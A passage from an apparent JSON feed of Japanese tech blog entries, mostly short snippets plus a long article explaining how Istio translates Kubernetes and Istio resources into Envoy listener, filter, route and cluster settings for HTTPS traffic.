HealthがGAになりました!https://cloud.google.com/blog/products/devops-sre/personalized-service-health-is-now-generally-available/?hl=en基本的な使用方法や設定はこちらのブログにて詳しく解説されていますので、ここでは運用面の機能を中心にPersonalized Service Healthを見ていきます。Google Cloudの障害情...","link":"https://zenn.dev/yokoo_an209/articles/8cc96cb8acb4bb","isoDate":"2024-02-04T11:02:42.000Z","dateMiliSeconds":1707044562000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"renovate で CircleCI の terraform_version を更新する","contentSnippet":"Circle CI の terraform Orb で terraform の version を指定するには次のようにしますが、この terraform_version の値に変数を 使うことが出来ず、tf ファイルや .tool-versions から読み出した値を使うことが出来ませ","link":"https://blog.1q77.com/2024/02/update-terraform-version-in-circleci-with-renovate/","isoDate":"2024-02-04T10:37:36.000Z","dateMiliSeconds":1707043056000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"raspberry piで学ぶ組込みLinuxデバイスドライバ開発Part2","contentSnippet":"はじめに前回からの続きです。前回までで基本的なデバイスドライバを作成して動作確認をしましたが、Linux上で完結するドライバであり、ラズパイ自体は使っていませんでした。今回はラズパイにLEDとスイッチを簡単な回路で接続して、それを操作するデバイスドライバを作成してみます。セミナーで使用したボートには4つのLEDと4つのスイッチが付いていたので1つのドライバで4つ同時に制御するものを作りましたが、回路を作るのが面倒なので1つずつです。ご承知おきくださいませ。 LEDを操作するデバイスドライバGPIO18番ピンにLEDを接続してこれを点けたり消したりできるモジュールを作...","link":"https://zenn.dev/satoken/articles/try-lkm-raspi2","isoDate":"2024-02-04T02:39:55.000Z","dateMiliSeconds":1707014395000,"authorName":"satoken","authorId":"satoken"},{"title":"Controllerを作ってみよう~ Kubernetes Controllerハンズオン ~","contentSnippet":"イベントURL: https://k8s-novice-jp.connpass.com/event/300442/\\r参考リポジトリ: https://github.com/bells17/k8s-controller-example\\r\\rその他リンク:\\r\\rhttps://github.com/kubernetes/sample-controller\\rhttps://github.com/kubernetes/kubernetes/blob/v1.29.1/pkg/controller/clusterroleaggregation/clusterroleaggregation_controller.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/reflector.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0/informers\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/store.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/delta_fifo.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/util/workqueue/rate_limiting_queue.go","link":"https://speakerdeck.com/bells17/controllerwozuo-tutemiyou-kubernetes-controllerhansuon","isoDate":"2024-01-30T05:00:00.000Z","dateMiliSeconds":1706590800000,"authorName":"bells17","authorId":"bells17"},{"title":"raspberry piで学ぶ組込みLinuxデバイスドライバ開発","contentSnippet":"はじめに1/24~26の3日間 仕事をサボっ.... 調整をしてポリテクセンター関東で行われた組込みLinuxデバイスドライバ開発技術というセミナーを受講してきました。カーネルのVersionが2.6、対象のマイコンボードがSH-4というとても古いものだったので今回はラズパイで復習しながら、セミナーの内容を共有したいと思います。↑がセミナーで使用したボードです。LEDやタクトスイッチ、赤外線センサやモータがボートに付いているのでそれを制御するドライバを作成しました。セミナーのテキストは2部構成で内容は以下の通りです。第1部CPUボード編1章 ターゲットボードの確認...","link":"https://zenn.dev/satoken/articles/try-lkm-raspi","isoDate":"2024-01-27T11:48:11.000Z","dateMiliSeconds":1706356091000,"authorName":"satoken","authorId":"satoken"},{"title":"Mac に Homebrew で docker pluings をインストールする","contentSnippet":"Docker Desktop for Mac であれば何もしなくても docker compose コマンドは使えるようになっているのですが、Lima で docker を使っている場合などで Homebrew で docker をインストールしていると","link":"https://blog.1q77.com/2024/01/install-docker-plugins-on-mac/","isoDate":"2024-01-26T12:36:56.000Z","dateMiliSeconds":1706272616000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、” […]The post Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-cost-checker-agent/","isoDate":"2024-01-25T02:17:39.000Z","dateMiliSeconds":1706149059000,"authorName":"Sreake","authorId":"Sreake"},{"title":"限定公開のGKE上でセキュアなGithub Actionsのrunnerを構築","contentSnippet":"モチベーションGithub Actionsのセルフホストランナーでは、long pollingによりrunner側でingressのfirewallを設定せずにrunnerをデプロイ出来るというのを最近知ったので、GKEで検証していこうと思います。 構成ざっくりですがこんな感じ。GKEは限定公開のクラスタとして構築し、踏み台サーバからGKEにリクエストを送ります。Github Actionsとの通信のためにVPCにはCloud NATをアタッチします。 前提条件terraformで構築するため、予めインストールしておくこと。(検証はv1.0.0) 構築手順...","link":"https://zenn.dev/kojake_300/articles/7be501d3fc4e72","isoDate":"2024-01-24T11:08:37.000Z","dateMiliSeconds":1706094517000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"K8sGPT: Prometheus Analyzers","contentSnippet":"v0.3.26 からPrometheus の Analyzer がリリースされましたデモ映像はこちらhttps://github.com/k8sgpt-ai/k8sgpt/pull/855本PR作成者の Daniel Clark さんは Google の方 (2024/01/18時点)で,prometheus-engine (Cloud Managed Service for Prometheus (GMP)) に多くのコントリビューションをされています. 先にまとめPrometheus Analyzer には現在二つの機能が含まれるConfig Analyzer ...","link":"https://zenn.dev/tozastation/articles/71015cc5b95b4e","isoDate":"2024-01-23T03:00:00.000Z","dateMiliSeconds":1705978800000,"authorName":"tozastation","authorId":"tozastation"},{"title":"openssl s_client で SMTP 認証","contentSnippet":"Amazon SES で SMTP を使ってメール送信したい場合、IAM User の credentials をちょいと加工してやる必要があります。 Amazon SES SMTP 認証情報を取得 これで、変換した値が正しいことを","link":"https://blog.1q77.com/2024/01/smtp-auth-plain-with-openssl-command/","isoDate":"2024-01-23T02:44:23.000Z","dateMiliSeconds":1705977863000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"dockerで行う12ステップで作る組込みOS自作入門","contentSnippet":"はじめに冬休みに12ステップで作る 組込みOS自作入門を完走したをkozosを完走しました。そのときの備忘録になります。12STEPの各内容は以下のようになっています。第1部 ブート・ローダーの作成1stステップ 開発環境の作成2ndステップ シリアル通信3rdステップ 静的変数の読み書き4thステップ シリアル経由でファイルを転送する5thステップ ELFフォーマットの展開6thステップ もう一度,Hello World第2部 OSの作成7thステップ 割込み処理を実装する8thステップ スレッドを実装する9thステップ 優先度スケジューリング...","link":"https://zenn.dev/satoken/articles/kozos-step-by-step","isoDate":"2024-01-21T13:10:45.000Z","dateMiliSeconds":1705842645000,"authorName":"satoken","authorId":"satoken"},{"title":"PR-Agentとその類似システムの解説","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。そのようなコードレビューの作業に対し、今日ではLLMを使用したレビュー用のツールが開発されています。今回はそのレビューツールの一つであるPR-Agentを中心に […]The post PR-Agentとその類似システムの解説 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-agent-and-similar-systems/","isoDate":"2024-01-18T09:38:27.000Z","dateMiliSeconds":1705570707000,"authorName":"Sreake","authorId":"Sreake"},{"title":"【Istio⛵️】Istioによって抽象化されるEnvoyのHTTPSリクエスト処理の仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのサイドカーメッシュを題材にしたEnvoyの設定の抽象化について様々なサービスメッシュツール (特に、Istio、Consul、Ciliumなど) でも流用できるEnvoyの知識についてこの記事から得られる知識01. はじめに02. 様々なリソースによるEnvoy設定の抽象化サービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS03. istio-proxyコンテナによるHTTPS処理Istioコントロールプレーンの仕組みサービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS04. EnvoyによるHTTPS処理Envoyの設定の種類フィルターフィルターの一覧フィルターチェーンの仕組み05. リソースの設定からEnvoy設定への翻訳各リソースとEnvoyの設定の関係一覧サービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるマイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるサービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめる06. 翻訳されたEnvoy設定値を見てみるEnvoyの現在の設定を出力するリスナーを出力するルートを出力するクラスターを出力するエンドポイントを出力する証明書を出力するサービスメッシュ外からのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナマイクロサービス間のHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナサービスメッシュ外へのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナ07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、俺 (REMIX) feat. Istioニキ a.k.a. いすてぃ男です。Istioは、Envoyを使用したサービスメッシュを実装します。IstioがKubernetesリソースやIstioカスタムリソースに基づいてEnvoyの設定を抽象化してくれるため、開発者はEnvoyをより簡単に設定できます。Envoyの設定の抽象化は、Envoyを使用したサービスメッシュ (例:Istioサイドカーメッシュ/アンビエントメッシュ、Consul、Istioから得られた学びを土台に登場したCiliumサイドカーフリーメッシュなど) に共通しています。つまり、次々に登場するEnvoyによるサービスメッシュツールに振り回されないようにするためには、ツールがどのようにEnvoyを抽象化するのかを理解しておく必要があります。そこで今回は、IstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのかを解説します。また、抽象化されたEnvoyがHTTPSリクエストを処理する仕組みも一緒に解説します。これらの知識は、様々なサービスメッシュツールで流用できるはずです。それでは、もりもり布教していきます\uD83D\uDE1702. 様々なリソースによるEnvoy設定の抽象化まずは、どのようなリソースがHTTPSリクエストの処理に関係しているのかを、HTTPSリクエストの方向に分けて解説していきます。istio-proxyコンテナやEnvoyについては、次章以降で解説します。サービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| Gateway Gateway([⛵️ Gateway]) -.-> VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Podは、宛先Podとの間で相互TLS認証を実施します。Istio IngressGateway Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineeringマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、宛先Podとの間で相互TLS認証を実施します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blog▶︎ サービスメッシュ内のPod間通信にkube-proxyは必要なのかistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます (本記事3章参照) 。これにより、送信元Podから宛先Podに直接通信できるようになります。Tracing network path in Istio. Istio is among the most widely used… | by Bikram Gupta | Mediumサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。複数のVirtualServiceとDestinationが登場するため、これらには便宜上 X と Y をつけています。flowchart TD 送信元 -.->|HTTPS| VirtualServiceX VirtualServiceX([⛵️ VirtualService X]) -.-> DestinationRuleX DestinationRuleX([⛵️ DestinationRule X]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.-> Gateway Gateway([⛵️ Gateway]) -.-> VirtualServiceY VirtualServiceY([⛵️ VirtualService Y]) -.-> DestinationRuleY DestinationRuleY([⛵️ DestinationRule Y]) -.-> ServiceEntry ServiceEntry([⛵️ ServiceEntry]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualServiceX,VirtualServiceY,DestinationRuleX,DestinationRuleY,Service,Endpoints,ServiceEntry blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、HTTPSリクエストの宛先がServiceEntryでエントリ済みか否かの設定に応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、送信元PodはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、送信元PodはHTTPSリクエストの宛先に外のシステムを選択します。送信元Podは、Istio EgressGateway Podとの間で相互TLS認証を実施します。(1) で宛先がエントリ済であったとします。送信元Podは、HTTPSリクエストの向き先をIstio EgressGateway Podに変更します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、Istio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Podは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio▶︎ Istio EgressGatewayの必要性についてistio-proxyコンテナを経由せずに外部システムに直接HTTPSリクエストを送信できるようになってしまい、システムの安全性が低くなります。他に、サービスメッシュ外への特定の通信を識別できるようになるメリットもあります。Istio / Accessing External ServicesIstioldie 1.10 / Egress Gateway Performance Investigation03. istio-proxyコンテナによるHTTPS処理前章では、KubernetesリソースやIstioカスタムリソースによって抽象化されたEnvoyまで言及しませんでした。本章では、解説をもう少し具体化します。Istioは、Envoyプロセスを持つistio-proxyコンテナを作成します。このistio-proxyコンテナを使用してどのようにHTTPSリクエストを処理しているのかを、HTTPSリクエストの方向に分けて解説します。Envoyの設定については、次章以降で解説します。Istioコントロールプレーンの仕組みEnvoyの設定を抽象化する責務を担うのは、Istioコントロールプレーン (discoveryコンテナ) です。Istioコントロールプレーンは異なる責務を担う複数のレイヤーから構成されています。レイヤー名 責務 Config ingestionレイヤー kube-apiserverからKubernetesリソースやIstioカスタムリソースの設定を取得します。Istioの初期から名前は変わっていません。 Config translationレイヤー リソースの設定をEnvoy設定に変換します。Istioの初期ではConfig Data Modelレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 Config servingレイヤー Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。Istioの初期では、Proxy Servingレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 図中の番号に沿って、Istioコントロールプレーンの仕組みを解説します。Config ingestionレイヤーにて、 Istioコントロールプレーンはkube-apiserverにHTTPSリクエストを送信します。ここで、KubernetesリソースやIstioカスタムリソースの設定を取得します。Config translationレイヤーにて、取得したリソースの設定をEnvoyの設定に変換します。Config servingレイヤーにて、Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。双方向ストリーミングRPCのため、istio-proxyコンテナがConfig servingレイヤーにリクエストを送信し、これらを取得することもあります。istio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHub一文带你彻底厘清 Isito 中的证书工作机制-赵化冰的博客 | Zhaohuabing Blog▶︎ Config servingレイヤーにあるXDS-APIについて▶︎ Istioカスタムリソースのコントローラーについてistio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHubサービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio IngressGateway Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。Istio IngressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ Pod内のiptablesについてistio-proxyコンテナを経由するように、istio-proxyコンテナにリクエストをリダイレクトします。iptablesのルールを書き換えるのはistio-initコンテナです。Istioは、istio-proxyコンテナと同じタイミングで、istio-initコンテナをPodにインジェクションします (Istio IngressGatewayとIstio EgressGatewayのPodは除きます)。画像引用元:SoByteistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます。また、istio-initコンテナはルールを書き換えた後に終了するため、Podの起動後にPod内に残りません\uD83D\uDC4D\uD83C\uDFFB$ istio-iptables \\\\ -p 15001 \\\\ -z 15006 \\\\ -u 1337 \\\\ -m REDIRECT \\\\ -i * \\\\ -x \\\\ -b * \\\\ -d 15090,15020Sidecar injection, transparent traffic hijacking, and routing process in Istio explained in detail | by Jimmy Song | MediumIstio / pilot-agent▶︎ Istio IngressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio IngressGateway Podにインジェクションしません。つまり、Istio IngressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。この時、ServiceEntryで宛先がエントリ済みか否かに応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、istio-proxyコンテナはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、istio-proxyコンテナはHTTPSリクエストの宛先に外のシステムを選択します。ここでは、宛先がエントリ済であったとします。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストをIstio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio EgressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。▶︎ Istio EgressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio EgressGateway Podにインジェクションしません。つまり、Istio EgressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBUsing Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio04. EnvoyによるHTTPS処理前章では、istio-proxyコンテナ内のEnvoyの設定まで、言及しませんでした。本章では、もっと具体化します。EnvoyがHTTPSリクエストを処理する仕組みを解説します。Envoyの設定の種類HTTPSリクエストを処理する場合、Envoyの設定が以下の順で紐付き、HTTPSリクエストを送信元から宛先まで届けます。flowchart TD 送信元 -.->|HTTPS| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター ネットワークフィルター(ネットワークフィルター) -.-> HTTPフィルター end HTTPフィルター(HTTPフィルター) -.-> ルート ルート(ルート) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|HTTPS| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,HTTPフィルター,ルート,クラスター,エンドポイント red各処理がどのような責務を担っているのかをもう少し詳しく見てみましょう。図中の番号に沿って、EnvoyがHTTPSリクエストを処理する仕組みを解説します。送信元からのHTTPSリクエストの宛先ポートで、リスナーを絞り込みます。通信の種類 (例:HTTP、HTTPS、TCP、UDP、Unixドメインソケットなど) に応じてフィルターを選び、各フィルターがパケットのヘッダーを処理します。もしHTTPSであれば、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。フィルターを使用して、HTTPSリクエストの宛先ポートで、ルートを絞り込みます。フィルターを使用して、HTTPSリクエストの宛先ホストやパスで、クラスターを絞り込みます。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、クラスター配下のエンドポイントを選びます。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、エンドポイントにL7ロードバランシングします。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてflowchart TD 送信元 -.->|TCP| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター end ネットワークフィルター(ネットワークフィルター) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|TCP| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,クラスター,エンドポイント redDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPTフィルターフィルターの一覧Envoyのフィルターは、Envoyの機能を拡張するための設定です。HTTPSリクエストを処理するためには、リスナーフィルター、ネットワークフィルター、HTTPフィルター、といったフィルターが必要になります。全ては解説しきれないため、HTTPSリクエストを処理するための代表的なフィルターをいくつか抜粋しました。ただ、 Istioはこれらのフィルターをデフォルトで有効にしてくれている ため、開発者がEnvoyのフィルターを設定する場面は少ないです。逆をいえば、Istioを介さずにEnvoyをそのまま使用する場合、開発者がEnvoyのフィルターを自前で設定する必要があります\uD83D\uDC4D\uD83C\uDFFBフィルターの種類 HTTPSリクエストの処理に必要なフィルター(一部抜粋) 説明 リスナーフィルター Original Destination istio-proxyコンテナへのリダイレクト前の宛先情報をEnvoyが取得できるようにします。Pod内のiptablesがHTTPSリクエストをistio-proxyコンテナにリダイレクトすると、HTTPSリクエストの宛先がistio-proxyコンテナに変わってしまいます。ただし、iptablesはリダイレクト前の宛先をカーネル上のSO_ORIGINAL_DSTという定数に格納してくれています。Envoyは、カーネル上のSO_ORIGINAL_DSTから本来の宛先を取得し、プロキシします。 HTTP Inspector EnvoyがHTTPを検知できるようにします。 TLS Inspector EnvoyがTLSを検知できるようにします。TLSを検知した場合、EnvoyはTLSに関する処理を実行します。例えば、DownstreamTlsContextは、リスナーフィルター直後に、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。また、UpstreamTlsContextは、クラスターの処理時に、宛先との間でTLS接続を確立し、L7のアプリケーションデータを暗号化します。 ネットワークフィルター HTTP connection manager Envoyが、L7のアプリケーションデータを読み取り、また後続のHTTPフィルターを制御できるようにします。 HTTPフィルター Router Envoyがポート番号でルート、ホストやパスでクラスターを絞り込めるようにします。 gRPC-Web EnvoyがHTTP/1.1で受信したHTTPSリクエストをHTTP/2に変換し、gRPCサーバーにプロキシできるようにします。 Filters — envoy 1.33.0-dev-8fd5cc documentation▶︎ Istioがデフォルトで有効にするEnvoyの設定についてistio-proxyコンテナは、イメージのビルド時に、あらかじめ用意しておいたEnvoyの設定ファイルを組み込みます。そのため、istio-proxyコンテナ内のEnvoyは、多くの設定をデフォルトで有効にできます。Istioを利用する開発者が、EnvoyがHTTPSリクエストを処理するために必要なフィルターを有効にしなくてよいのも、Istioのおかげです。Istioほんまにありがとな\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F istio/pilot/docker/Dockerfile.proxyv2 at 1.20.2 \xb7 istio/istio \xb7 GitHubistio/tools/packaging/common/envoy_bootstrap.json at 1.20.2 \xb7 istio/istio \xb7 GitHubフィルターチェーンの仕組みEnvoyは、複数のフィルターからなるフィルターチェーンを実行し、HTTPSを処理します。図中の番号に沿って、Envoyのフィルターチェーンの仕組みを解説します。各フィルターの機能は、前述したフィルターの一覧を参考にしてください\uD83D\uDE47\uD83C\uDFFBリスナーフィルター (Original Destination、HTTP Inspector、TLS Inspectorなど) を実行します。(1) でTLS InspectorがTLSを検知した場合、DownstreamTlsContextで宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。ネットワークフィルター (HTTP connection managerなど) を実行します。HTTPフィルター (Router、gRPC-Webなど) を実行します。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてTCP proxy — envoy 1.33.0-dev-8fd5cc documentation05. リソースの設定からEnvoy設定への翻訳いよいよです\uD83D\uDD25Istioが各リソースをいずれのEnvoyの設定に翻訳しているのかを解説します。表で対応関係の一覧を示した後、istio-proxyコンテナ内のEnvoyに当てはめました。各リソースとEnvoyの設定の関係一覧Istioコントロールプレーンは、KubernetesリソースやIstioカスタムリソースの設定をEnvoyの設定に翻訳し、処理の流れに当てはめます。以下の通り、各リソースがいずれのEnvoyの設定を抽象化するのかを整理しました。リソースによっては、Envoyの複数の設定を抽象化します。なお、Istioの用意したEnvoyのフィルターのデフォルト値を変更するユースケースが少ないため、これを抽象化するEnvoyFilterについては言及しません。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ Debugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT- YouTubeサービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ外からのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio IngressGatewayの一部として使用します。ServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ \xd7 ✅ ルート ✅ ✅ \xd7 クラスター ✅ ✅ \xd7 ✅ エンドポイント ✅ ✅ \xd7 